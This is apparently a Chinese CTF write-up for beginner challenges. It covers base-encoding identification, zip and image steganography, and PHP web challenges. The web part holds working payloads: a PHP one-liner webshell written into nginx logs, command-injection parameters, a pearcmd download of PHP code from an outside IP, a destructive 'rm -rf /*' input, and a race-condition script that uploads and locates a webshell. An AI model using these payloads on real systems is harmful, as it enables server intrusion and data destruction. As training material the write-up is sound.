記錄一下前半部分是能自己寫出來的,后半部分是需要提示的,感覺自己歸來兩年仍是萌新
misc部分
知識點
base家族密文特征
- Base16 (Hex)
- 字符集:
0-9, A-F
(不區分大小寫)。 - 特征:
-
- 長度是 2 的倍數(每字節對應 2 個字符)。
- 無填充字符。
- 示例:
48656C6C6F
("Hello")。
- Base32
- 標準字符集:
A-Z, 2-7
(RFC 4648)。 - 特征:
-
- 長度通常是 8 的倍數(填充符
=
補全)。 - 忽略大小寫(部分變種如 Crockford's Base32 允許小寫)。
- 示例:
JBSWY3DP
("Hello")或JBSWY3DPEBLW64TMMQ======
(帶填充)。
- 長度通常是 8 的倍數(填充符
變種:
- Base32Hex:使用
0-9, A-V
(無填充)。 - Crockford's Base32:允許小寫,去除
I,L,O,U
避免混淆。
- Base64
- 標準字符集:
A-Z, a-z, 0-9, +, /
(填充符=
)。 - 特征:
-
- 長度是 4 的倍數(不足時用
=
填充)。 - 常見于加密數據、圖片編碼(如
data:image/png;base64,...
)。 - 示例:
SGVsbG8=
("Hello")。
- 長度是 4 的倍數(不足時用
變種:
- URL-safe Base64:替換
+/
為-_
,省略填充。 - MIME Base64:允許換行符。
- Base85 (Ascii85)
- 字符集:
!-u
(ASCII 33-117)。 - 特征:
-
- 長度可變,通常以
~>
結尾(Adobe 變種)。 - 無固定填充,可能包含空格或換行。
- 示例:
<~87cURDZ~>
("Hello")。
- 長度可變,通常以
變種:
- Z85:用于 ZeroMQ,字符集為
0-9, a-z, A-Z, ., -, :, +, =, ^, !, /, *, ?, &, <, >, (, ), [, ], {, }, @, %, $, #
。
- Base58
- 字符集:去除了易混淆字符(如
0, O, I, l, +, /
)。 - 特征:
-
- 無填充,長度可變。
- 用于比特幣地址(
1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa
)。 - 示例:
JxF12TrwUP45BMd
。
- Base91
- 字符集:
A-Z, a-z, 0-9, !, #, $, %, &, (, ), *, +, ,, ., /, :, ;, <, =, >, ?, @, [, ], ^, _,
, {, |, }, ~`。 - 特征:
-
- 高編碼效率(比 Base64 更緊湊)。
- 示例:
fPNKd
("Hello")。
- Base62
- 字符集:
0-9, A-Z, a-z
(無符號)。 - 特征:
-
- 用于短鏈接生成(如
aBcD12
)。 - 無填充,長度可變。
- 用于短鏈接生成(如
通用識別技巧
- 觀察字符集:根據字符范圍初步判斷類型。
- 檢查填充符:
=
常見于 Base64/Base32。 - 長度規律:Base64 長度是 4 的倍數,Base32 是 8 的倍數。
- 特殊標記:Base85 可能以
<~ ~>
包裹,Base58 用于加密貨幣地址。
HTML實體編碼特點
- 格式:
&實體名;
或&#實體編號;
(十進制/十六進制)。
字符 | 實體名 | 十進制 | 十六進制 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
空格 |
|
|
|
|
|
|
|
jphs使用指南(文件加解密)
- 使用對象:JPEG文件
- 介紹:對有損壓縮JPEG文件進行信息的加密隱藏,探測提取的工具
- 功能:
-
- JPHIDE:將信息文件加密隱藏到JPEG圖像
(點擊hide,輸入兩次相同密碼,再選擇要隱藏的文件)
-
- JPSEEK:從用JPHIDE程序加密隱藏得到的JPEG圖像中探測并提取到信息文件
(同理,輸入密碼,提取信息文件)
解題
太簡單的就不寫了
萌新_密碼1
這里用隨波逐流解密工具先base混合解碼,再柵欄解碼就行了
base混合解碼得到:KYdf0a3ebd5c4dc160-E{fb63ee0298b8f4d8}
柵欄解碼得到:KEY{dffb06a33eeeb0d259c84bd8cf146d08-}
萌新 密碼3
這種一看就是摩斯加密了
摩斯解密得到:MORSE_IS_COOL_BUT_BACON_IS_COOLER_MMDDMDMDMMMDDD MDMDDM MMMMM MDDMDM MDDM
這里給出提示要培根解密得到:guowang
記得記得記得大寫
萌新 隱寫2
這是一道zip的加密題
本來記得自己寫過這種題目的筆記的,突然發現自已應該是不小心把存著這個的數據庫刪了,我咔吧一下哭出來
廢話不多說,先判斷一下是不是偽加密
兩個紅框里的分別是數據區和目錄區的全局方式位標記,第一個判斷是否加密,第二個判斷是否偽加密,都由四個數字中的第二個數字決定(奇數表示加密,偶數表示未加密)
這里應該是真加密了的,所以看看有沒有其他信息猜測密碼,不然就嘗試爆破
這里密碼我用ARCHPR這個工具爆破出來了,輸入密碼解壓得到flag{brute_force}
雜項7
圖片寬高改寫
- 直接把高度稍微改大一點
- 爆破
# 使用python3爆破png圖片的寬高數據
import os
import binascii
import structfor i in range(30000): # 一般 20000就夠wide = struct.pack('>i', i)for j in range(30000):high = struct.pack('>i', j)data = b'\x49\x48\x44\x52' + wide + high + b'\x08\x06\x00\x00\x00'# 因為是 Py3,byte和str型不能直接進行運算,要寫把 str寫 b'...'。不然把 wide和 high寫成 str(...)crc32 = binascii.crc32(data) & 0xffffffffif crc32 == 0x889C2F07: # 0x889C2F07是這個 png文件頭的 CRC校驗碼,在 21~25byte處print('\n\n', i, j, crc32) # 0x 后的數字為十六進制中crc位置的代碼(winhex左016,13-下一行的0)print(type(data))exit(0)print(i, end=' ')print(hex(1080),",",hex(958))
得到
轉換成16進制,填入hex
隱寫1
點擊下載鏈接發現不能自動下載,這里的點在于ctr+s自動下載,然后查看hex頭發現被更改了,改回來就行了
萌新隱寫5
?娀圀??娀娀?一?儀圀?堀??一??嘀?夀吀嘀???圀??吀???刀???勻?????????
給了一串神秘字符,其實最后的重復字符就很像base的=填充字符了
import base64
import binascii
text = "?娀圀??娀娀?一?儀圀?堀??一??嘀?夀吀嘀???圀??吀???刀???勻?????????"
# 嘗試轉換為原始字節
bytes_data = text.encode('utf-16-be') # 或 utf-32-be
base64_str = base64.b64encode(bytes_data).decode('ascii')
print(base64_str)
得到
TQBaAFcARwBDAFoAWgBJAE4AQgBRAFcANgBYADMASwBOAEYAMgBWADYAWQBUAFYATAA1ADQAVwA2ADMAVABIAEwANQBSAEQARwBNAFMANwBGAEUAPQA9AD0APQA9AD0A
再兩次base64解碼得到flag
這道題我借助ai倒是解得很順暢
萌新隱寫6
音頻隱寫,用audacity看發現摩斯密碼解碼就行了
看wp
萌新 密碼#4
這里給出了一串密文QW8obWdIWF5FKUFSQW5URihKXWZAJmx0OzYiLg==
又提示比base64大的base
然后發現解密出來的都是一串亂碼,然后我就有點沒招了
看wp之后發現base64解密出來的Ao(mgHX^E)ARAnTF(J]f@<6".,竟然是有用的,不是亂碼
包含 HTML 實體編碼(<
代表 <
)。
把html解碼得到Ao(mgHX^E)ARAnTF(J]f@<6",然后再base85解碼,得到flag{base_base_base}
總結就是還是要熟悉各個密文的特征。這個html編碼確實挺少見的
雜項10
就給了這個,我猜到要瞇眼看了,但是我沒看出來,太抽象了,一點都沒想到是中文,答案是我好喜歡你
雜項11
嘗試了很多發現都不對,發現他給了一個jphs的工具
用jphs打開圖片之后,選擇seek選項并什么都不填,會生成一個二維碼,對二維碼解碼就行了
jphs使用指南附上
萌新_密碼2
rdcvbg 2qase3 6tghu7
看鍵盤上這些字母圈起來的位置,這種題之前好像見過,但這次又沒想到
web部分
知識點
php繞過
部分對php的版本有要求,具體情況具體分析
"1000 || 1=1" //
~~1000//兩次取反
0b1111101000//二進制
0x3e8//十六進制
這里主要是繞preg_match()和intval()
MD5 比較繞過
- 0e 開頭哈希:0e215962017 == 0
- 數組繞過:md5(array()) == null
strcmp 繞過
- 數組繞過:strcmp($pass, array()) == null
is_numeric 繞過
- 十六進制:0xdeadbeef
- 科學計數法:1e10
PHP執行系統外命令函數
exec()
function exec(string $command,array[optional] $output,int[optional] $return_value)
exec 執行系統外部命令時不會輸出結果,而是返回結果的最后一行,如果你想得到結果你可以使用第二個參數,讓其輸出到指定的數組,此數組一個記錄代表輸出的一行,即如果輸出結果有20行,則這個數組就有20條記錄,所以如果你需要反復輸出調用不同系統外部命令的結果,你最好在輸出每一條系統外部命令結果時清空這個數組,以防混亂。第三個參數用來取得命令執行的狀態碼,通常執行成功都是返回0.
passthru()
function passthru(string $command,int[optional] $return_value)
passthru與system的區別,passthru直接將結果輸出到瀏覽器,不需要使用 echo 或 return 來查看結果,不返回任何值,且其可以輸出二進制,比如圖像數據
system()
function system(string $command,int[optional] $return_value)
system和exec的區別在于system在執行系統外部命令時,直接將結果輸出到瀏覽器,不需要使用 echo 或 return 來查看結果,如果執行命令成功則返回true,否則返回false。第二個參數與exec第三個參數含義一樣。
shell_exec()
shell_exec() 函數實際上僅是反撇號 (`) 操作符的變體
<?phpecho `pwd`;
?>
php文件執行繞過
?c=passthru('tac c*')?>
?c=echo $flag?>
?c=echo $_POST[a]; a= cat config.php
web1-7
都是同類型題目,一步步進階
按照要求根據上面的知識點說明的方法進行繞過就行
<?php
# 包含數據庫連接文件
include("config.php");
# 判斷get提交的參數id是否存在
if(isset($_GET['id'])){$id = $_GET['id'];if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)){die("id error");}# 判斷id的值是否大于999if(intval($id) > 999){# id 大于 999 直接退出并返回錯誤die("id error");}else{# id 小于 999 拼接sql語句$sql = "select * from article where id = $id order by id limit 1 ";echo "執行的sql為:$sql<br>";# 執行sql 語句$result = $conn->query($sql);# 判斷有沒有查詢結果if ($result->num_rows > 0) {# 如果有結果,獲取結果對象的值$rowwhile($row = $result->fetch_assoc()) {echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";}}# 關閉數據庫連接$conn->close();}}else{highlight_file(__FILE__);
}?>
web9
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){$c = $_GET['c'];if(preg_match("/system|exec|highlight/i",$c)){eval($c);}else{die("cmd error");}
}else{highlight_file(__FILE__);
}
?>
ls查看目錄結構,再cat或者
?c=system("tac config.php ");
?c=system("cat config.php ");,再打開控制臺
?c=highlight_file('config.php');
看wp
web8
<?php
# 包含數據庫連接文件,key flag 也在里面定義
include("config.php");
# 判斷get提交的參數id是否存在
if(isset($_GET['flag'])){if(isset($_GET['flag'])){$f = $_GET['flag'];if($key===$f){echo $flag;}}
}else{highlight_file(__FILE__);
}?>
?flag=rm -rf /*
直接刪庫啊
web17
發現中間件為nginx/1.20.1,他的日志目錄為 /var/log/nginx/access.log
傳參?c=/var/log/nginx/access.log,并寫入一句話木馬<?php @eval($_POST['cmd']); ?>
用蟻劍訪問url+?c=/var/log/nginx/access.log,同時記得把https的s去掉,訪問目錄找到flag。
web22
遠程文件下載
?c=pearcmd&+download+http://47.111.94.227/1.php
<?php echo "<?php system('ls');?>";?>
<?php echo "<?php system('tac 36d.php');?>";?>
獲得百分之百的快樂
<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<4){echo shell_exec($_GET[1]);
}
else{echo "hack!!!";
}
?>
輸入限制得很短,
payload
?1=ls //查看目錄,發現文件名很長
?1=>nl //創建一個名為 nl 的文件, >file 表示創建一個空文件
?1=* //* 是通配符,以當前路徑下第一個文件名作為命令執行,這里會輸出第一個文件內容
原理
直接 ?1=* 可能無效:因為普通文件無法被 Shell 直接執行。利用nl讀取文件內容
web23
文件上傳條件競爭,腳本爆破
$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;
if (move_uploaded_file($temp_name, 'uploads/'.$new_filename)){echo "uploads/$new_filename";sleep(1);system("rm -rf ./uploads/*.php");
}
import requests, time, threadingsubaddr = "http://b173724d-6ebb-45dc-b62e-57351e9766fa.challenge.ctf.show/"def newThread(fun, *args):return threading.Thread(target=fun, args=args)def execphp(fname):r = requests.get(subaddr + "uploads/" + fname + ".php")x = r.textif len(x) > 0 and "404 Not Found" not in x and "容器已過期" not in x:print(x)def check(fname):for i in range(100, 400):# 每個文件名單起一個線程newThread(execphp, fname + str(i)).start()def upload():while True:file_data = {'file': ('anything.php', "<?php system(\"ls -l ../\");?>".encode())}r = requests.post(subaddr + "upload.php", files=file_data)txt = r.textprint("uploaded:", txt)# uploaded: uploads/20230206234351533.php# 用本次的文件名推算下一次的文件名,相差sleep一次的時間間隔fname = str(int(txt[8:22]) + 1)# 單起一個線程,爆破下一次upload的文件名 uploaded: uploads/20220818222707124.phpnewThread(check, fname).start()if __name__ == '__main__':upload()
- 上傳Webshell:向目標服務器的upload.php接口上傳一個包含PHP代碼的文件。
- 爆破文件名:由于上傳后的文件名可能基于時間戳生成,腳本通過時間推算和并發請求來猜測文件名。
- 執行命令:訪問上傳成功的Webshell,執行系統命令并輸出結果。
發現/flaghere0.txt文件,訪問得到flag